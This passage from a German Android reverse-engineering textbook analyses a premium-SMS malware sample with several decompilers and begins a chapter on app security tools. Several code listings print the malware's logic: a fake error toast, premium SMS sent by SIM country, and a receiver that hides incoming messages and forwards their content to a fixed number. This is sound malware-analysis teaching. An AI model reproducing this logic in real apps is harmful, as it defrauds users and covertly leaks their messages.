Übung sehr einfach zu lesen, wie in Codebeispiel 3–10 zu sehen ist.<br />

4 smali/baksmali: https://bitbucket.org/JesusFreke/smali/downloads


50 3 Reversing von Android-Applikationen<br />

Abb. 3–2: Ordnerstruktur nach erfolgreicher Übersetzung von Dalvik-Bytecode zu smali<br />

.method public onCreate(Landroid/os/Bundle;)V<br />

.param p1, "savedInstanceState" # Landroid/os/Bundle;<br />

const/4 v2, 0x0<br />

invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(<br />

Landroid/os/Bundle;)V<br />

const-string v4, "ERROR: Android version is not compatible"<br />

const/4 v5, 0x1<br />

invoke-static {p0, v4, v5}, Landroid/widget/Toast;->makeText(<br />

Landroid/content/Context;Ljava/lang/CharSequence;I)<br />

Landroid/widget/Toast;<br />

move-result-object v8<br />

.local v8, "ts":Landroid/widget/Toast;<br />

invoke-virtual {v8}, Landroid/widget/Toast;->show()V<br />

const-string v4, "phone"<br />

invoke-virtual {p0, v4}, Lcom/magicsms/own/MagicSMSActivity;-><br />

getSystemService(Ljava/lang/String;)Ljava/lang/Object;<br />

move-result-object v7<br />

check-cast v7, Landroid/telephony/TelephonyManager;<br />

.local v7, "tm":Landroid/telephony/TelephonyManager;<br />

invoke-virtual {v7}, Landroid/telephony/TelephonyManager;-><br />

getSimCountryIso()Ljava/lang/String;<br />

move-result-object v6<br />

.local v6, "countryCode":Ljava/lang/String;<br />

const-string v4, "fr"<br />

invoke-virtual {v6, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z<br />

, v4<br />

if-eqz v4, :cond_3f<br />

const-string v1, "81001"<br />

.local v1, "SMSNumber":Ljava/lang/String;


3.4 Werkzeuge zum Analysieren der Applikationen 51<br />

const-string v3, "STAR"<br />

.local v3, "SMSMessage":Ljava/lang/String;<br />

:goto_26<br />

invoke-static {}, Landroid/telephony/SmsManager;->getDefault()<br />

Landroid/telephony/SmsManager;<br />

move-result-object v0<br />

.local v0, "sms":Landroid/telephony/SmsManager;<br />

move-object v4, v2<br />

move-object v5, v2<br />

invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />

sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />

Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />

move-object v4, v2<br />

move-object v5, v2<br />

invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />

sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />

Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />

move-object v4, v2<br />

move-object v5, v2<br />

invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />

sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />

Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />

move-object v4, v2<br />

move-object v5, v2<br />

invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-><br />

sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;<br />

Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V<br />

return-void<br />

.......<br />

.end method<br />

Codebeispiel 3–10: Quellcode-Auszug der Main-Activity der fragwürdigen Android-<br />

Applikation in smali<br />

3.4.4 JD-GUI<br />

Die mithilfe von dex2jar erhaltene Datei classes_dex2jar.jar können wir durch<br />

Verwendung von JD-GUI5 weiter analysieren. Nach erfolgreichem Öffnen des<br />

5 JD-GUI: http://jd.benow.ca/


52 3 Reversing von Android-Applikationen<br />

Abb. 3–3: JD-GUI-Ansicht der zu analysierenden Android-Applikation<br />

Java-Bytecodes sehen wir direkt die zwei Java-Klassen, die den Receiver und die<br />

Main-Activity enthalten (siehe Abbildung 3–3).<br />

Als Erstes betrachten wir nun den Receiver, der – wie wir durch Analyse des<br />

Manifests gesehen haben – jedes Mal aufgerufen wird, wenn auf dem Gerät eine<br />

SMS-Nachricht empfangen wird:<br />

String str1 = arrayOfSmsMessage[0].getMessageBody();<br />

str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();<br />

if ((!str2.equals("81001")) && (!str2.equals("35064"))<br />

&& (!str2.equals("63000")) && (!str2.equals("9903"))<br />

&& (!str2.equals("60999")) && (!str2.equals("543"))<br />

&& (!str2.equals("64747")))<br />

abortBroadcast();<br />

SmsManager.getDefault().sendTextMessage("0646112264", null, str1, null,<br />

null);<br />

Codebeispiel 3–11: Quellcode des Receivers der fragwürdigen Android-Applikation<br />

Hier sieht man sehr schön, dass die Applikation jede empfangene SMS-Nachricht<br />

auf den Absender der Nachricht prüft. Gehört dem Absender eine der angegebenen<br />

Nummern (81001, 35064, 63000, 9903, 60999, 543, 64747), so wird<br />

verhindert, dass der Broadcast weitere Applikationen erreicht und eine SMS-<br />

Nachricht an eine feste Nummer (0646112264) versendet, die den Inhalt der<br />

ursprünglichen Nachricht beinhaltet. Das Abbrechen des Broadcasts führt dazu,<br />

dass der Nutzer nie mitbekommt, dass diese SMS-Nachricht überhaupt auf seinem<br />

Telefon eingegangen ist.


3.4 Werkzeuge zum Analysieren der Applikationen 53<br />

Als Nächstes untersuchen wir die Main-Activity, um zu sehen, welche Aktionen<br />

die Applikation ausführt, wenn der Nutzer versucht, sie über einen Klick auf<br />

das Icon – also den herkömmlichen Weg – zu starten:<br />

public void onCreate(Bundle paramBundle)<br />

{<br />

super.onCreate(paramBundle);<br />

Toast.makeText(this, "ERROR: Android version is not compatible", 1)<br />

.show();<br />

String str1 = ((TelephonyManager)getSystemService("phone"))<br />

.getSimCountryIso();<br />

String str2;<br />

String str3;<br />

if (str1.equals("fr"))<br />

{<br />

str2 = "81001";<br />

str3 = "STAR";<br />

}<br />

while (true)<br />

{<br />

SmsManager localSmsManager = SmsManager.getDefault();<br />

localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />

localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />

localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />

localSmsManager.sendTextMessage(str2, null, str3, null, null);<br />

return;<br />

if (str1.equals("be"))<br />

{<br />

str2 = "9903";<br />

str3 = "GA SP";<br />

}<br />

else if (str1.equals("ch"))<br />

{<br />

str2 = "543";<br />

str3 = "GEHEN SP 300";<br />

}<br />

else if (str1.equals("lu"))<br />

{<br />

str2 = "64747";<br />

str3 = "ACCESS SP";<br />

}


54 3 Reversing von Android-Applikationen<br />

else if (str1.equals("ca"))<br />

{<br />

str2 = "SP";<br />

str3 = "60999";<br />

}<br />

else if (str1.equals("de"))<br />

{<br />

str2 = "63000";<br />

str3 = "SP 462";<br />

}<br />

else if (str1.equals("es"))<br />

{<br />

str2 = "35064";<br />

str3 = "GOLD";<br />

}<br />

else if (str1.equals("gb"))<br />

{<br />

str2 = "60999";<br />

str3 = "SP2";<br />

}<br />

else<br />

{<br />

str2 = "00000";<br />

str3 = "WUUT";<br />

}<br />

}<br />

}<br />

Codebeispiel 3–12: Quellcode der Main-Activity der fragwürdigen Android-Applikation in<br />

Java<br />

Betrachtet man diesen Quellcode, so sieht man, dass die Applikation direkt nach<br />

dem Start einen sogenannten Toast erzeugt mit der Fehlermeldung »ERROR:<br />

Android version is not compatible«. Ein Toast in Android ist vergleichbar mit<br />

einem Pop-up unter Windows. Im Anschluss liest die Applikation mithilfe des<br />

TelephonyManager die ISO-Codierung der SIM-Karte aus. Diese Codierung wird<br />

im weiteren Verlauf dazu benutzt, passende String-Paare zu finden. Für die Codierung<br />

für Deutschland (de) ergibt sich hierbei das Paar 63000;SP 462. Diese beiden<br />

Strings werden im Anschluss verwendet, um vier SMS-Nachrichten zu versenden.<br />

Die Nummer, an die SMS-Nachrichten versendet werden, ist dabei die<br />

63000 mit dem Text SP 462. Hierbei handelt es sich um sogenannte Premium-<br />

SMS-Nachrichten, die den Nutzer viel Geld kosten können.


3.4 Werkzeuge zum Analysieren der Applikationen 55<br />

3.4.5 JADx-GUI<br />

Im Gegensatz zu JD-GUI ist JADx-GUI6 ohne Unterstützung von externen Bytecode-Übersetzern<br />

in der Lage, eine Android-Applikation in Java-Code zu übersetzen.<br />

Dieses Werkzeug kann apk-Dateien öffnen und wandelt den Dalvik-Bytecode<br />

im Hintergrund automatisch in Java-Code um. Hierdurch wird nur noch ein einziges<br />

Tool benötigt, mit dessen Hilfe der Analyst den zu Beginn des Abschnitts 3.1<br />

beschriebenen Workflow durchführen kann.<br />

Abb. 3–4: JADx-GUI-Ansicht des Android-Manifests der zu analysierenden Android-Applikation<br />

In den Abbildungen 3–4 und 3–5 sieht man sehr schön, dass JADx-GUI nicht<br />

nur sämtliche Java-Klassen der Applikation darstellen kann, sondern auch das<br />

Android-Manifest in einer lesbaren Form anzeigt.<br />

Doch auch dieses Tool ist nicht perfekt. Das Werkzeug steckt noch in den<br />

frühen Phasen der Entwicklung und man sieht daher immer wieder Meldungen,<br />

die darauf hindeuten, dass gewisse Funktionen noch nicht implementiert sind.<br />

3.4.6 Androguard<br />

Androguard7 ist ein weiteres, sehr mächtiges Werkzeug, das zur Analyse von<br />

Android-Applikationen verwendet werden kann. Im Gegensatz zu den meisten<br />

6 JADx-GUI: https://github.com/skylot/jadx<br />

7 Androguard: https://github.com/androguard/androguard


56 3 Reversing von Android-Applikationen<br />

Abb. 3–5: JADx-GUI-Ansicht der zu analysierenden Android-Applikation<br />

hier gezeigten Tools ist es deutlich interaktiver aufgebaut und dadurch auch im<br />

Umgang für den Sicherheitsanalysten komplexer.<br />

Die nachfolgende Auflistung zeigt eine mögliche Abfolge von Analyseschritten:<br />

1. Die interaktive Umgebung starten wir durch Eingabe von:<br />

python androlyze.py -s<br />

2. Im ersten Schritt müssen wir Androguard mitteilen, welche Android-Applikation<br />

wir analysieren möchten und welchen Decompiler wir hierfür verwenden<br />

möchten. Dies machen wir durch folgende Eingabe:<br />

In [1]: a,d,dx = AnalyzeAPK("malware.apk", decompiler="dad")<br />

Codebeispiel 3–13: Übergabe der Android-Applikation zum Reversing an Androguard<br />

3. Nun haben wir die Applikation geladen und dekompiliert. Im nächsten<br />

Schritt können wir uns die angeforderten Berechtigungen ausgeben lassen.<br />

Dies geschieht per:<br />

In [2]: a.get_permissions()<br />

Out[2]:<br />

['android.permission.SEND_SMS',<br />

'android.permission.RECEIVE_SMS',


3.4 Werkzeuge zum Analysieren der Applikationen 57<br />

'android.permission.ACCESS_GPS',<br />

'android.permission.ACCESS_LOCATION']<br />

Codebeispiel 3–14: Auflistung der verwendeten Berechtigungen mithilfe von Androguard<br />

4. Im Nachgang ist es wichtig, dass wir den Einsprungpunkt in die Applikation<br />

finden. Dies gelingt uns durch Auflistung der Activities durch Eingabe des<br />

folgenden Befehls:<br />

In [3]: a.get_activities()<br />

Out[3]: ['com.magicsms.own.MagicSMSActivity']<br />

Codebeispiel 3–15: Auflistung der verwendeten Activities mithilfe von Androguard<br />

5. Zusätzlich könnten wir uns hier auch anzeigen lassen, welche Klassen die<br />

Applikation insgesamt besitzt, um so einen ersten Überblick zu bekommen:<br />

In [4]: d.get_classes_names()<br />

Out[4]:<br />

['Lcom/magicsms/own/MagicSMSActivity;',<br />

'Lcom/magicsms/own/R$attr;',<br />

'Lcom/magicsms/own/R$drawable;',<br />

'Lcom/magicsms/own/R$id;',<br />

'Lcom/magicsms/own/R$layout;',<br />

'Lcom/magicsms/own/R$string;',<br />

'Lcom/magicsms/own/R;',<br />

'Lcom/magicsms/own/receiver/SMSReceiver;']<br />

Codebeispiel 3–16: Auflistung der vorhandenen Klassen mithilfe von Androguard<br />

6. Nachdem wir wissen, welches die einzige aufrufbare Activity ist, schauen wir<br />

uns hiervon den Quellcode an, um die Analyse durchzuführen. Dies erreichen<br />

wir durch Eingabe des folgenden Befehls:<br />

In [5]: d.get_class('Lcom/magicsms/own/MagicSMSActivity;').source()<br />

Out[5]:<br />

package com.magicsms.own;<br />

public class MagicSMSActivity extends android.app.Activity {<br />

public MagicSMSActivity()<br />

{<br />

return;<br />

}


58 3 Reversing von Android-Applikationen<br />

public void onCreate(android.os.Bundle p10)<br />

{<br />

String v3;<br />

String v1;<br />

super.onCreate(p10);<br />

android.widget.Toast.makeText(this, "ERROR: Android version is not<br />

compatible", 1).show();<br />

String v6 = ((android.telephony.TelephonyManager) this.<br />

getSystemService("phone")).getSimCountryIso();<br />

if (!v6.equals("fr")) {<br />

if (!v6.equals("be")) {<br />

if (!v6.equals("ch")) {<br />

if (!v6.equals("lu")) {<br />

if (!v6.equals("ca")) {<br />

if (!v6.equals("de")) {<br />

if (!v6.equals("es")) {<br />

if (!v6.equals("gb")) {<br />

v1 = "00000";<br />

v3 = "WUUT";<br />

} else {<br />

....<br />

}<br />

}<br />

}<br />

} else {<br />

v1 = "81001";<br />

v3 = "STAR";<br />

}<br />

android.telephony.SmsManager v0 = android.telephony.SmsManager.<br />

getDefault();<br />

v0.sendTextMessage(v1, 0, v3, 0, 0);<br />

v0.sendTextMessage(v1, 0, v3, 0, 0);<br />

v0.sendTextMessage(v1, 0, v3, 0, 0);<br />

v0.sendTextMessage(v1, 0, v3, 0, 0);<br />

return;<br />

Codebeispiel 3–17: Auszug aus dem dekompilierten Quellcode der Main-Activity mit<br />

Androguard


3.4 Werkzeuge zum Analysieren der Applikationen 59<br />

7. Zum Abschluss können wir uns von Androguard auch noch die Receiver<br />

anzeigen lassen, die unsere malware.apk implementiert hat. So erhalten wir<br />

einen vollständigen Überblick über die Funktionen der Android-Applikation:<br />

In [6]: a.get_receivers()<br />

Out[6]: ['com.magicsms.own.receiver.SMSReceiver']<br />

Codebeispiel 3–18: Auflistung der implementierten Receiver mithilfe von Androguard<br />

Mit diesem Ablauf und unter Verwendung von Androguard haben wir es nun<br />

geschafft, den Java-Quellcode der Main-Activity unserer malware.apk zu erhalten<br />

und zusätzlich auch Informationen über Berechtigungen, die wirklich von der Applikation<br />

benötigt werden. Dies zeigt schon erste Hinweise darauf, wie mächtig<br />

Androguard ist.<br />

3.4.7 Codeinspect<br />

Codeinspect8 [13] ist eines der umfangreichsten Werkzeuge, die man zum Analysieren<br />

von Android-Applikationen verwenden kann. Mit Codeinspect ist es dem<br />

Analysten möglich, direkt eine apk-Datei zu importieren und sie in eine gut lesbare<br />

Sprache zu übersetzen. Hierfür verwendet das Werkzeug eine Art Zwischendarstellungssprache,<br />

die sich Jimple – Java but simple – nennt. Diese wird zusammen<br />

mit dem Soot-Framework9 im Hintergrund verwendet, um die Übersetzung<br />

des Dalvik-Bytecodes vorzunehmen. Das Soot-Framework wie auch Jimple sind<br />

seit vielen Jahren unter aktiver Entwicklung und haben sich im Bereich der Analyse<br />

von Java- und Dalvik-Bytecode bewährt.<br />

Abbildung 3–6 zeigt unsere importierte malware.apk und die Grundstruktur<br />

von Codeinspect. Wie man am Aufbau gut erkennen kann, beruht Codeinspect<br />

auf der Eclipse IDE und zeigt folgende Fenster an:<br />

Project Explorer: Hier werden alle Bestandteile der importieren Android-Applikation<br />

strukturiert aufgelistet.<br />

Outline: Dieses Fenster zeigt alle Methoden und Variablen einer gegebenen Klasse<br />

an. Durch Anklicken der hier angezeigten Elemente kann der Analyst direkt<br />

zu den referenzierten Stellen im Quellcode springen.<br />

Console: Zeigt die Konsole an, wie man sie auch von Eclipse kennt. Diese Ausgabe<br />

wird im weiteren Verlauf des Buches noch wichtig.<br />

Problems: Hier werden alle Fehlermeldungen angezeigt, die während der Laufzeit<br />

der Applikation auftreten.<br />

8 Codeinspect: http://sseblog.ec-spride.de/2014/12/codeinspect/<br />

9 Soot-Framework: https://github.com/Sable/soot/wiki


60 3 Reversing von Android-Applikationen<br />

Permission Usage: Dieses Fenster zeigt, welche Berechtigungen die Applikation<br />

wirklich verwendet und an welchen Stellen im Quellcode sie benötigt werden.<br />

Auto Stepper: Codeinspect ist nicht nur in der Lage, statische Analysen durchzuführen,<br />

man kann das Werkzeug auch verwenden, um Applikationen zur<br />

Laufzeit zu analysieren. Hierfür kann man den Auto Stepper verwenden, der<br />

automatisch Breakpoints setzt, um so Stück für Stück durch die Applikation<br />

zu springen.<br />

Codeinspect bietet neben den Fähigkeiten des Reversings und Debuggings auch<br />

die klassischen Funktionen einer IDE. Man kann hier Variablen oder ganze Klassen<br />

umbenennen (dies ist besonders sinnvoll bei großen Applikationen, deren<br />

Code verschleiert ist), in dekompiliertem Code suchen oder eben auch die Hierarchie<br />

der Funktionsaufrufe anzeigen lassen. Dies sind Funktionen, die sehr hilfreich<br />

sein können, um eine Applikation – oder eine Klasse/Methode innerhalb<br />

einer Applikation – besser verstehen zu können.<br />

Abb. 3–6: Codeinspect-Ansicht der zu analysierenden Android-Applikation<br />

Eines der wichtigsten Bestandteile von Codeinspect (im Bereich des statischen<br />

Reversings) stellt das Fenster in der Mitte dar (siehe Abbildung 3–6). Hier wird<br />

der übersetzte Quellcode der ausgewählten Klasse in Jimple angezeigt. Vergleicht<br />

man die Darstellung des dekompilierten Java-Codes aus dem Codebeispiel 3–12<br />

mit der im nachfolgend abgebildeten Codebeispiel 3–19, so erkennt man sehr gut<br />

die Ähnlichkeit zwischen Jimple und Java. Seit Kurzem gibt es auch die Möglichkeit,<br />

sich den Code der Applikation als Java-Code anzeigen zu lassen (Project<br />

Explorer → build/classfiles). Dieses Feature ist jedoch zum aktuellen Zeitpunkt<br />

noch in der Entwicklung und man sollte die Ergebnisse daher noch mit Vorsicht


3.4 Werkzeuge zum Analysieren der Applikationen 61<br />

betrachten. Deshalb lautet momentan noch die Empfehlung, bei der Jimple- bzw.<br />

Jimple++-Ansicht zu bleiben.<br />

public void onCreate(android.os.Bundle $param0)<br />

{<br />

android.widget.Toast $Toast;<br />

android.telephony.TelephonyManager $TelephonyManager;<br />

android.telephony.SmsManager $SmsManager;<br />

java.lang.Object $Object;<br />

java.lang.String $String, $String_1;<br />

boolean $z0;<br />

specialinvoke this.($param0);<br />

$Toast = staticinvoke (<br />

this, "ERROR: Android version is not compatible", 1);<br />

virtualinvoke $Toast.();<br />

$Object = virtualinvoke this.("phone");<br />

$TelephonyManager = (android.telephony.TelephonyManager) $Object;<br />

$String = virtualinvoke $TelephonyManager.();<br />

$z0 = virtualinvoke $String.("fr");<br />

if $z0 == false goto label0;<br />

$String = "81001";<br />

$String_1 = "STAR";<br />

label2:<br />

$SmsManager = staticinvoke ();<br />

virtualinvoke $SmsManager.($String, null, $String_1, null, null);<br />

virtualinvoke $SmsManager.($String, null, $String_1, null, null);


62 3 Reversing von Android-Applikationen<br />

virtualinvoke $SmsManager.($String, null, $String_1, null, null);<br />

virtualinvoke $SmsManager.($String, null, $String_1, null, null);<br />

return;<br />

label0:<br />

$z0 = virtualinvoke $String.("be");<br />

if $z0 == false goto label1;<br />

$String = "9903";<br />

$String_1 = "GA SP";<br />

goto label2;<br />

label1:<br />

$z0 = virtualinvoke $String.("ch");<br />

if $z0 == false goto label3;<br />

$String = "543";<br />

$String_1 = "GEHEN SP 300";<br />

goto label2;<br />

label3:<br />

$z0 = virtualinvoke $String.("lu");<br />

if $z0 == false goto label4;<br />

$String = "64747";<br />

$String_1 = "ACCESS SP";<br />

goto label2;<br />

label4:<br />

$z0 = virtualinvoke $String.("ca");<br />

if $z0 == false goto label5;<br />

$String = "SP";<br />

$String_1 = "60999";<br />

goto label2;


3.4 Werkzeuge zum Analysieren der Applikationen 63<br />

label5:<br />

$z0 = virtualinvoke $String.("de");<br />

if $z0 == false goto label6;<br />

$String = "63000";<br />

$String_1 = "SP 462";<br />

goto label2;<br />

label6:<br />

$z0 = virtualinvoke $String.("es");<br />

if $z0 == false goto label7;<br />

$String = "35064";<br />

$String_1 = "GOLD";<br />

goto label2;<br />

label7:<br />

$z0 = virtualinvoke $String.("gb");<br />

if $z0 == false goto label8;<br />

$String = "60999";<br />

$String_1 = "SP2";<br />

goto label2;<br />

label8:<br />

$String = "00000";<br />

$String_1 = "WUUT";<br />

goto label2;<br />

}<br />

Codebeispiel 3–19: Quellcode der Main-Activity der fragwürdigen Android-Applikation in<br />

Jimple<br />

Neben diesen Funktionen bietet Codeinspect inzwischen auch die Möglichkeit,<br />

den Fluss von Informationen, wie z. B. Daten aus dem lokalen Adressbuch oder<br />

zusammengesetzte Strings, über die komplette Ausführung der Applikation hinweg<br />

zu verfolgen. Mit diesem Verfahren lässt sich herausfinden, was mit diesen<br />

Daten passiert, um so besser zu verstehen, wie eine Applikation funktioniert.<br />

Abbildung 3–7 zeigt dies am Beispiel einer Malware, die SMS-Nachrichten versendet<br />

[1].<br />

Wie man Codeinspect auch zur Laufzeitanalyse und -manipulation von Android-Applikationen<br />

verwendet, wird ausführlich in Abschnitt 4.8 gezeigt. Dabei<br />

wird auch auf die Funktionen des Debuggers eingegangen.


64 3 Reversing von Android-Applikationen<br />

Abb. 3–7: FlowDroid-Ansicht innerhalb von Codeinspect<br />

3.5 Zusammenfassung<br />

In diesem Kapitel haben wir versucht, die Chancen, aber auch die Grenzen von<br />

Reversing bzw. statischer Analyse aufzuzeigen. Es sollte nun jedem Analysten<br />

klar sein, dass man nicht ohne diese Fähigkeiten auskommt, dass Reversing jedoch<br />

auch nicht die Lösung aller Probleme ist, da man die hierfür verwendeten<br />

Tools und Techniken als Entwickler und vor allem als Autor bösartiger, oder zumindest<br />

fragwürdiger Applikationen in ihrer Funktion deutlich einschränken und<br />

teilweise sogar verhindern kann.<br />

In Abschnitt 3.1 haben wir einen kurzen Workflow dargestellt, wie man bei<br />

der statischen Analyse als Sicherheitsanalyst vorgehen kann, um an eine leicht<br />

verständliche Repräsentation des Dalvik-Bytecodes zu gelangen.<br />

Danach haben wir gängige Werkzeuge kennengelernt, mit denen man eine<br />

Applikation analysieren kann, ohne sie selbst ausführen zu müssen: adb, aapt,<br />

dex2jar, enjarify, baksmali, JD-GUI, JADx-GUI, Androguard und Codeinspect.<br />

Um die einzelnen Vor- und Nachteile und die Funktionsweise der Tools zu<br />

erklären, haben wir unsere malware.apk (eine schadhafte Android-Applikation)<br />

mit ihnen analysiert und die Unterschiede dargestellt. Hierbei sieht man auch die<br />

deutlichen Unterschiede in den Übersetzungen des Dalvik-Bytecodes: Java, smali<br />

und Jimple.<br />

Betrachtet man die Ergebnisse der in diesem Kapitel durchgeführten statischen<br />

Analysen, so sieht man, dass unsere bösartige Android-Applikation direkt<br />

nach ihrem Start vier Premium-SMS-Nachrichten versendet und dem Nutzer eine<br />

Fehlermeldung anzeigt, die ihm vorgaukelt, dass sein Smartphone die falsche<br />

Android-Version installiert hätte und deshalb die Applikation nicht lauffähig


3.5 Zusammenfassung 65<br />

sei. Gleichzeitig versucht sie aber, eingehende SMS-Nachrichten der Premium-<br />

Anbieter zu verstecken, damit der Nutzer nicht mitbekommt, welche Aktionen<br />

die Applikation im Hintergrund wirklich durchgeführt hat. Dieses Vorgehen ist<br />

ganz typisch für die erste Generation an Android-Malware und war in den Jahren<br />

2011 bis 2013 eine der am häufigsten vorkommenden Funktionen von schadhaften<br />

Applikationen. Inzwischen hat sich das Verhalten der Malware weiterentwickelt<br />

und man sieht erste gezielte Angriffe, bei denen die Applikationen sehr<br />

genau an die Opfer angepasst sind. Des Weiteren erkennt man deutlich, dass die<br />

Malware in den letzten Jahren versucht, Daten von den infizierten Geräten zu erbeuten<br />

oder sie aus der Ferne zu steuern. Dabei wird immer häufiger Obfuscation<br />

eingesetzt, um es einem Analysten zu erschweren, den Code und die Funktionen<br />

zu erkennen.


67<br />

4 Sicherheitsprobleme bei<br />

Android-Applikationen<br />

Betrachtet man die große Anzahl an mobilen Applikationen und Einsatzszenarien<br />

für Android und die Vielzahl der Entwickler und der verfügbaren Entwicklungsumgebungen<br />

(IDE), so kann man sich gut vorstellen, dass nicht jeder Entwickler<br />

wirklich alles richtig macht beim Entwickeln von Lösungen für diese Plattform.<br />

Selbst wenn man sich als Entwickler an Vorgaben zum Programmieren sicheren<br />

Codes hält, ist es immer noch sehr schwer, eine komplett fehlerfreie Applikation<br />

zu entwerfen. Zudem ist ein hohes Maß an Wissen nötig, um diesem Ziel auch<br />

nur ansatzweise nahe zu kommen. Da all diese Voraussetzungen nur selten erfüllt<br />

sind, ist es wichtig für uns als Sicherheitsanalysten – aber auch für Angreifer – zu<br />

wissen, wo eventuelle Schwachstellen versteckt sind und wie sie sich finden und<br />

ausnutzen lassen.<br />

Aus diesem Grund wird in diesem Kapitel auf wichtige Werkzeuge, aber auch<br />

auf die häufigsten Schwachstellen eingegangen. Dazu ist dieses Kapitel in fünf<br />

logische Teilgebiete unterteilt:<br />

1. Wichtige Werkzeuge zur Analyse (Abschnitt 4.1)<br />

2. Zugriffe auf personenbezogene Daten (Abschnitt 4.2)<br />

3. Schwachstellen im Code einer Applikation (Abschnitte 4.4 bis 4.6)<br />

4. Digitale Forensik (Abschnitt 4.7)<br />

5. Manipulation von Applikationen zur Laufzeit (Abschnitt 4.8)<br />

4.1 Wichtige Tools und Helfer<br />

Bevor wir mit den Techniken und Problemen bei Android-Applikationen beginnen,<br />

soll hier noch kurz auf ein paar sehr wichtige Tools eingegangen werden,<br />

die bei der Analyse hilfreich sind und im weiteren Verlauf des Kapitels immer<br />

wieder auftauchen werden. Zu diesen Tools gehören BusyBox, Drozer und der<br />

PackageManager.


68 4 Sicherheitsprobleme bei Android-Applikationen<br />

4.1.1 BusyBox<br />

Wer häufig mit Linux oder Mac OS X arbeitet, weiß die Kommandozeile und<br />

die vielen mächtigen Tools, die in ihr verfügbar sind, zu schätzen. Wechselt man<br />

das erste Mal auf die Android-Shell, so merkt man sehr schnell, welche Tools<br />

einem fehlen und wie umständlich es ohne diese kleinen Helfer ist. Für diesen<br />

Zweck gibt es ein einzelnes Binary, das eine Vielzahl dieser Kommandozeilentools<br />

beinhaltet: BusyBox<br />

BusyBox kann man über mehrere Wege auf das Gerät seiner Wahl aufbringen.<br />

Die zwei Methoden, die am weitesten verbreitet sind, sind das Installieren<br />

der BusyBox-Applikation1 aus dem offiziellen Google Play Store und das manuelle<br />

Kopieren eines vorkompilierten Binaries2 . Beide Varianten habe eigene Vorund<br />

Nachteile und damit auch unterschiedliche Einsatzszenarien. Möchte man<br />

die Kommandozeilentools auf dem gesamten Gerät verfügbar haben – egal welcher<br />

Nutzer oder Prozess man gerade ist –, so ist der Weg über die Applikation die<br />

beste Wahl. Der Nachteil ist jedoch auch, dass das Gerät hierfür bereits gerootet<br />

sein muss, da die entsprechenden Binaries und Verlinkungen in die Systempartition<br />

kopiert werden. Möchte man relativ unbemerkt im eigenen Kontext auf<br />

BusyBox und ihre Tools zugreifen, so ist das manuelle Kopieren des Binaries die<br />

bessere Alternative, da man hier keine Root-Rechte benötigt. Nachteil ist hier<br />

jedoch, dass man alle Befehle nur im eigenen Benutzerkontext ausführen darf.<br />

Eine Übersicht aller Kommandozeilentools, die in BusyBox enthalten sind, ist<br />

in Codebeispiel 4–1 aufgezählt.<br />

acpid, adjtimex, arp, arping, ash, awk, base64, basename, beep, blkid,<br />

blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, catv, chat, chattr,<br />

chgrp, chmod, chown, chpst, chroot, chrt, chvt, cksum, clear, cmp, comm,<br />

conspy, cp, cpio, crond, crontab, cttyhack, cut, date, dc, dd,<br />

deallocvt, depmod, devmem, df, dhcprelay, diff, dirname, dmesg, dnsd,<br />

dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, ed, egrep,<br />

eject, env, envdir, envuidgid, ether-wake, expand, expr, fakeidentd,<br />

false, fatattr, fbset, fbsplash, fdflush, fdformat, fdisk, fgconsole,<br />

fgrep, find, findfs, flock, fold, free, freeramdisk, fsck, fsck.minix,<br />

fstrim, fsync, ftpd, ftpget, ftpput, fuser, getopt, grep, groups,<br />

gunzip, gzip, hd, hdparm, head, hexdump, hostid, hostname, httpd, hush,<br />

hwclock, i2cdetect, i2cdump, i2cget, i2cset, id, ifconfig, ifdown,<br />

ifenslave, ifplugd, ifup, inetd, init, insmod, install, ionice, iostat,<br />

ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, iproute, iprule, iptunnel,<br />

kbd_mode, kill, killall, killall5, klogd, last, less, linux32, linux64,<br />

linuxrc, ln, loadfont, loadkmap, logger, logname, logread, losetup, ls,<br />

lsattr, lsmod, lsof, lspci, lsusb, lzop, lzopcat, makedevs, man, md5sum,<br />

1 BusyBox App: https://play.google.com/store/apps/details?id=stericson.busybox<br />

2 BusyBox Binaries: https://busybox.net/downloads/binaries/


4.1 Wichtige Tools und Helfer 69<br />

mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2,<br />

mkfs.minix, mkfs.vfat, mknod, mkswap, mktemp, modinfo, modprobe, more,<br />

mount, mountpoint, mpstat, mt, mv, nameif, nanddump, nandwrite,<br />

nbd-client, nc, netstat, nice, nmeter, nohup, nslookup, ntpd, od,<br />

openvt, patch, pgrep, pidof, ping, ping6, pipe_progress, pivot_root,<br />

pkill, pmap, powertop, printenv, printf, ps, pscan, pstree, pwd, pwdx,<br />

raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath,<br />

renice, reset, resize, rev, rm, rmdir, rmmod, route, rpm, rpm2cpio,<br />

rtcwake, run-parts, runlevel, runsv, runsvdir, rx, script, scriptreplay,<br />

sed, seq, setarch, setconsole, setfont, setkeycodes, setlogcons,<br />

setserial, setsid, setuidgid, sha1sum, sha256sum, sha3sum, sha512sum,<br />

showkey, shuf, slattach, sleep, smemcap, softlimit, sort, split,<br />

start-stop-daemon, stat, strings, stty, sum, sv, svlogd, swapoff,<br />

swapon, switch_root, sysctl, syslogd,tac, tail, tar, tcpsvd, tee,<br />

telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,<br />

traceroute, traceroute6, true, truncate, tty, ttysize, tunctl,<br />

